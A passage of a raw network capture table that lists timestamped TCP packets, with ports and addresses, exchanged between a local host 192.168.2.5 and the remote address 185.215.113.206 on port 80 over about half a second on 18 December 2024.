Dec 18, 2024 15:21:20.575377941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.575464964 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.575701952 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.575748920 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.607443094 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.607601881 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.607800007 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.607979059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.608032942 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.608050108 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.608089924 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.609173059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.613246918 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.623613119 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.623718977 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.623821020 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.624165058 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.624213934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.624773979 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.624823093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.624834061 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.624881983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.625207901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.625255108 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.625268936 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.625300884 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.626347065 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.626405001 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.626426935 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.626487017 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.627588034 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.627665997 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.627713919 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.628742933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.628762960 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.628792048 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.628823042 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.629940987 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.630063057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.630114079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.631091118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.631138086 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.631174088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.631222963 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.632304907 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.632358074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.632483006 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.632530928 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.633464098 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.633510113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.633578062 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.633625031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.634634018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.634681940 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.634730101 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.634778023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.635818005 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.635941029 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.635991096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.637049913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.637096882 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.637156963 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.637202024 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.638181925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.638226032 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.638267994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.638308048 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.639379025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.639489889 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.639538050 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.640547037 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.640661001 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.640747070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.641761065 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.641860008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.641923904 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.675080061 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.675103903 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.675235033 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.699572086 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.699620962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.699717045 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.699980021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.700038910 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.731887102 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.731935024 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.732012987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.732544899 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.732558966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.732609987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.747845888 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.747869015 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.747950077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.748363018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.748444080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.749313116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.749334097 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.749367952 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.749391079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.749742985 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.749795914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.749962091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.750006914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.750052929 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.750087023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.751157045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.751213074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.751311064 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.751390934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.752464056 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.752500057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.752528906 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.752551079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.753590107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.753654003 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.753694057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.753736973 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.754698038 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.754761934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.754800081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.754865885 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.755928993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.755991936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.756092072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.756140947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.757086992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.757137060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.757148027 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.757181883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.758322954 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.758378983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.758388042 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.758431911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.759439945 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.759495974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.759547949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.759589911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.760654926 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.760723114 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.760792017 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.760837078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.761955023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.762008905 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.762080908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.762129068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.763008118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.763060093 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.763073921 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.763115883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.764250994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.764298916 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.764352083 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.764394999 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.765384912 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.765439987 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.765486002 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.765525103 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.766660929 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.767371893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.823571920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.823628902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.823741913 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.824059963 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.824106932 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.824248075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.824260950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.824682951 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.824682951 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.825356007 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.828866005 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.856137991 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.856213093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.856323004 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.856637001 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.856687069 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.856755972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.856827974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.856859922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.856904030 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.857933998 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.859337091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.873338938 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.873368025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.873477936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.873677969 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.873723030 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.873743057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.873778105 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.874856949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.874907017 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.874963999 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.874999046 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.876048088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.876091003 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.876108885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.876147985 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.877180099 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.877302885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.877360106 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.878408909 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.878459930 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.878577948 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.878619909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.879568100 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.879615068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.879648924 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.879683971 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.880824089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.880976915 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.881033897 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.881963968 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.882014036 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.882061005 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.882102966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.883122921 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.883169889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.883236885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.884329081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.884372950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.884381056 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.884432077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.885498047 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.885550976 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.885644913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.885688066 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.886904955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.886954069 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.886960983 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.887003899 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.887895107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.887938976 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.887979031 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.888016939 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.889117956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.889163017 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.889256954 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.890279055 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.890332937 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.890357018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.890398979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.891503096 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.891560078 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.891560078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.891603947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.948559046 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.948610067 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.948659897 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.949019909 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.949060917 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.949134111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.949172974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.950141907 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.950181007 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.980364084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.980472088 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.980477095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.980515957 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.981030941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.981069088 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.981131077 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.981167078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.982165098 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.982206106 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.997703075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.997796059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.997817039 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.997853994 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.998312950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.998352051 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.998394966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.998405933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.998436928 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.999073982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.999113083 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:20.999247074 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:20.999285936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.000283003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.000323057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.000323057 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.000356913 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.001512051 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.001553059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.001586914 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.001621962 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.002748966 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.002794981 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.002851009 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.002949953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.003931046 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.004021883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.004034996 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.004066944 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.005151033 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.005163908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.005194902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.005207062 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.006244898 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.006305933 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.006339073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.006397009 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.007457018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.007499933 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.007560015 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.007596970 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.008589029 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.008630037 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.008649111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.008685112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.009794950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.009840965 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.009911060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.009947062 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.010950089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.011003971 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.011020899 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.011069059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.012151003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.012192965 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.012449980 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.012491941 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.013341904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.013386011 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.013457060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.013495922 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.014539957 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.014589071 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.014619112 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.014652967 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.015660048 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.015712023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.015990973 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.016012907 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.016036034 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.016047955 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.072805882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.072868109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.072974920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.073009968 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:21.073358059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:21.073402882 CET	49771	80	192.168.2.5	185.215.113.206
